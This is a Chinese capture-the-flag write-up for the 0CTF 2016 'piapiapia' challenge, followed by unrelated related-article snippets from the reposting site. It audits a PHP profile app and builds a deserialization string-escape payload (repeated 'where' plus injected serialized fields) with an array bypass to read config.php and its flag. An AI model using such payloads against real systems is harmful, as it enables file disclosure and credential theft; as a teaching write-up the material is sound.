[0CTF 2016]piapiapia(字符逃逸详解)

news2024/12/24 2:38:39

目录

知识点

信息收集

尝试SQL注入

源码目录扫描

代码审计

payload生成


知识点

  • 信息泄露
  • 参数传递数组绕过字符串检测
  • 反序列化字符逃逸

信息收集

收集到了一只超可爱的小喵

尝试SQL注入

用户名不存在的回显 

密码无效的回显

用户存在,密码错误的回显

判断闭合(失败)

密码为3-16位数字

尝试到这里暂时没有思路了 

源码目录扫描

/profile.php

/register.php

/www.zip

竟然可以注册admin账户,应该不是越权类题目

登录后如下,先不填写内容,先下载www.zip的源码看看

代码审计

implode(separator,array)        函数返回一个由数组元素组合成的字符串

参数描述
separator可选。规定数组元素之间放置的内容。默认是 ""(空字符串)。
array必需。要组合为字符串的数组。

在PHP中不能定义重名的函数,也包括不能再同一个类中定义重名的方法,所以也就没有方法重载。但在子类中可以定义和父类重名的方法,因为父类的方法已经在子类中存在,这样在子类中就可以把从父类中继承过来的方法重写。

通过extends来继承父类

register.php这里可以看到注册账户的检验逻辑

if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

config.php有个root用户,在服务端docker的主机里,$flag变量应该存的就是我们要的flag

class.php两个类:user和父类mysql

profile.php这里反序列化前面上传时序列化的文件,然后base64编码上传的文件

$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

upload.php上传的检测逻辑,这里上传的内容被序列化了

	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {

很明显我们的突破口在base64_encode(file_get_contents($profile['photo']));我们回溯看看photo参数的处理逻辑

$file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

    public function update_profile($username, $new_profile) {

        $username = parent::filter($username);

        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";

        return parent::update($this->table, 'profile', $new_profile, $where);

    }

    public function filter($string) {

        $escape = array('\'', '\\\\');

        $escape = '/' . implode('|', $escape) . '/';

        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

    }

$profile = unserialize($profile);

$phone = $profile['phone'];

$photo = base64_encode(file_get_contents($profile['photo']));

漏洞出现在这句逻辑里面,利用它通过file_get_contents,去请求config.php文件

$safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

hacker为6个字符,而where为5个字符,存在缩短逃逸的风险

我们现在来查找传参的入口

在profile.php里,photo是$profile数组里键名为photo的键值,$profile又是通过$user的show_profile方法传过来的

user类继承了mysql类,这里先调用了父类的filter函数,show_profile里面又调用了父类的select函数

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

$profile['phone'] = $_POST['phone'];

$profile['email'] = $_POST['email'];

$profile['nickname'] = $_POST['nickname'];

$profile['photo'] = 'upload/' . md5($file['name']);

调用链如下

profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

photo被md5处理,因此我们对nickname参数进行攻击

$profile['photo'] = 'upload/' . md5($file['name']);

我们查看nickname的处理条件

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

这个正则的意思是匹配除了a-zA-Z0-9_之外的字符, “^” 符号在 “[]” 里面为取非的意思。

这里用到数组绕过

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null

payload生成

本地调试查看数组和序列化的结尾均为";}

a:4:{s:5:"phone";i:17111111111;s:5:"email";s:9:"17@qq.com";s:8:"nickname";a:1:{i:0;s:5:"admin";}s:5:"photo";s:10:"config.php";}

目标payload处理

echo strlen('";}s:5:"photo";s:10:"config.php";}');

34

因此我们需要重复34个where进行字符串增长

因此我们payload指定为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

nickname改成nickname[] 数组

查看源码,base64解码拿得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/190244.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STC15系列PWM功能相关功能寄存器介绍

STC15系列PWM功能相关功能寄存器介绍✨以下数据来源于stc15手册。 &#x1f4d3;增强型PWM波形发生器相关功能寄存器总表 1. 端口配置寄存器&#xff1a;P_SW2 2.PWM配青寄存器:PWMICFG CBTADC: PWM计数器归零时 (CBIF1时) 触发ADC转换 – 0:PWM计数器归零时不触发ADC转换 – …

Web3中文|亚马逊进入web3,将在春季推出NFT计划

亚马逊正向加密行业迈出第一步。 根据Blockworks 1月26日发布的报告&#xff0c;这家电子商务巨头计划在2023年春天推出一项专注于区块链游戏和相关NFT的计划。 该计划仍处于开发阶段&#xff0c;但发布的最后期限定为4月。亚马逊用户将可以体验基于区块链的游戏并领取免费的…

Python采集某乎专栏文章保存成pdf

前言 大家早好、午好、晚好吖 ❤ ~ 环境使用: Python 3.8 Pycharm wkhtmltopdf 软件 --> 文章下方名片信领取 模块使用: requests >>> pip install requests 数据请求 parsel >>> pip install parsel 数据解析 re >>> 内置模块 不需要安装…

域内委派攻击

域委派是指&#xff0c;将域内用户的权限委派给服务账号&#xff0c;使得服务账号能以用户权限开展域内活动。利用委派可获取域管理员权限 域委派主要分为三种&#xff1a; 非约束性委派 约束性委派 基于资源的约束性委派 在Windows系统中&#xff0c;只有服务账号和主机账号…

操作系统权限提升(五)之系统错误配置-PATH环境变量提权

系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 操作系统权限提升(三)之Windows系统内核溢出漏洞提权 操作系统权限提升(四)之系统错误配置-Tusted Service Paths提权 注&#xff1a;阅读本编文章前&#xff0c;请先阅读系列文章…

寻找整数

问题描述 本题为填空题,只需要算出结果后,在代码中使用输出语句将所填结果输出即可。 有一个不超过 10^{17}1017 的正整数 nn,知道这个数除以 2 至 49 后的余数如下表所示,求这个正整数最小是多少。 运行限制 最大运行时间:1s最大运行内存: 512M参考答案 mp = {2: 1, …

虹科动态 | 虹科HSR/PRP IP核现已支持HSR/PRP最新标准

HSR与PRP是专注于解决高可靠性自动化网络传输的技术&#xff0c;其所属的国际标准为IEC 62439。最初&#xff0c;IEC发布此项标准主要目的是为了满足IEC 61850-5中所提到的变电站自动化应用中各通信组件或服务故障所要求的恢复时间问题&#xff0c;但协议设计时的通用性&#x…

PTA L1-017 到底有多二

前言&#xff1a;本期是关于到底有多二的详解&#xff0c;内容包括四大模块&#xff1a;题目&#xff0c;代码实现&#xff0c;大致思路&#xff0c;代码解读&#xff0c;今天你c了吗&#xff1f; 题目&#xff1a; 一个整数“犯二的程度”定义为该数字中包含2的个数与其位数…

Java多线程:Future和FutureTask

一、Future Future是一个接口&#xff0c;所有方法如下&#xff1a; 上源码&#xff1a; package java.util.concurrent; public interface Future<V> {boolean cancel(boolean mayInterruptIfRunning);boolean isCancelled();boolean isDone();V get() throws Interru…

5.3 场效应管的高频等效模型

由于场效应管各级之间存在极间电容&#xff0c;因而其高频响应与晶体管相似。根据场效应管的结构&#xff0c;可得出图5.3.1(a)所示的高频等效模型&#xff0c;大多数场效应管的参数如表1所示。由于一般情况下 rgsr_{gs}rgs​ 和 rdsr_{ds}rds​ 比外接电阻大得多&#xff0c;因…

Lesson 4.5 梯度下降优化基础:数据归一化与学习率调度

文章目录一、数据归一化方法1. 数据归一化计算公式1.1 0-1 标准化1.2 Z-Score 标准化1.3 非线性标准化2. 数据归一化算法执行过程3. 数据归一化算法评价4. Z-Score 标准化算法评价及横向对比二、梯度下降算法优化初阶1. 数据归一化与梯度下降算法优化2. 学习率调度3. 小批量梯度…

RV1126笔记二十六:lvgl移植

若该文为原创文章,转载请注明原文出处。 之前做项目的时候有了解到LVGL这个开源的gui库,有QT仿真过智能家居控制界面,也在STM32上移植过。 趁着过年期间就想着把它移植到自己的开发板上看看能不能正常跑起来。虽说不难,但也花了一些功夫,因此也在这里做下总结。 下载地址…

STC15系列PWM中断控制寄存器介绍以及PWM相关示例

STC15系列PWM中断控制寄存器介绍以及PWM呼吸灯代码实现&#x1f4cc;相关篇《STC15系列PWM功能相关功能寄存器介绍》✨以下数据来源于stc15手册。 &#x1f4d3;增强型PWM波形发生器的中断控制 1.PWM中断优先级控制寄存器:IP2 PPWMFD:PWM异常检测中断优先级控制位。 当PPWMFD…

微信小程序员010宠物交易系统商城系统

宠物交易系统商城系统分为用户小程序端和管理员后台网页端&#xff0c;其中后端是采用java编程语言&#xff0c;mysql数据库&#xff0c;idea开发工具&#xff0c;ssm框架开发&#xff0c;本系统分为用户和管理员两个端&#xff0c;其中用户可以在小程序端进行注册登陆&#xf…

嵌入式Linux从入门到精通之第十节:系统编程之进程

进程的定义 程序:程序是存放在存储介质上的一个可执行文件。进程:进程是程序的执行实例,包括程序计数器、寄存器和变量的当前值。程序是静态的,进程是动态的: 程序是一些指令的有序集合,而进程是程序执行的过程。进程的状态是变化的,其包括进程的创建、调度和消亡。 在…

【微服务】分布式搜索引擎elasticsearch(1)

分布式搜索引擎elasticsearch&#xff08;1&#xff09;1.elasticsearch1.1.了解ES1.1.1.elasticsearch的作用1.1.2.ELK技术栈1.1.3.elasticsearch和lucene1.1.4.为什么不是其他搜索技术&#xff1f;1.1.5.总结1.2.倒排索引1.2.1.正向索引1.2.2.倒排索引1.2.3.正向和倒排1.3.es…

08-linux网络管理-nc命令(TCP|UDP网络联通测试,文件传输,带宽测试)

文章目录1. 安装2. 选项2.1 帮助命令2.2 常用示例- 监听TCP端口&#xff08;默认&#xff09;- 监听UDP端口- 链接TCP端口- 链接UDP端口- 接收数据重定向- 上传数据3. 完整示例3.1 示例1&#xff08;端口联通检查&#xff09;3.2 示例2&#xff08;文件传输&#xff09;3.3 带宽…

Linux权限的基本知识

本文已收录至《Linux知识与编程》专栏&#xff01;作者&#xff1a;ARMCSKGT演示环境&#xff1a;CentOS 7 目录 前言 正文 权限是什么&#xff1f; Linux权限的划分 Linux用户的切换命令 Linux文件权限 Linux文件类型 Linux文件权限 Linux角色划分 文件权限的访问和…

buu [MRCTF2020]keyboard 1

题目描述&#xff1a; 题目分析&#xff1a; 由标题keyboard可知与键盘有关 看到一串数字有重复的&#xff0c;且重复数在1~4之间&#xff0c;符合九键拼音键盘 个数便对应位数 例如&#xff1a;6对应m , 666对应o 所以以上对应下来是 “mobilephond” 试过之后不对&#…

Unity-Tcp-网络聊天功能(一): 基本功能

Protobuff的效率较高。TCP用于延迟不高的游戏效果较好&#xff0c;UDP对开发人员友好&#xff08;对于消息的重发等&#xff0c;降低网络延迟&#xff09;&#xff0c;Websocket在网页端H5端进行通信&#xff0c;1.TCP相关API介绍与服务端编写TCP是面向连接的。因此需要创建监听…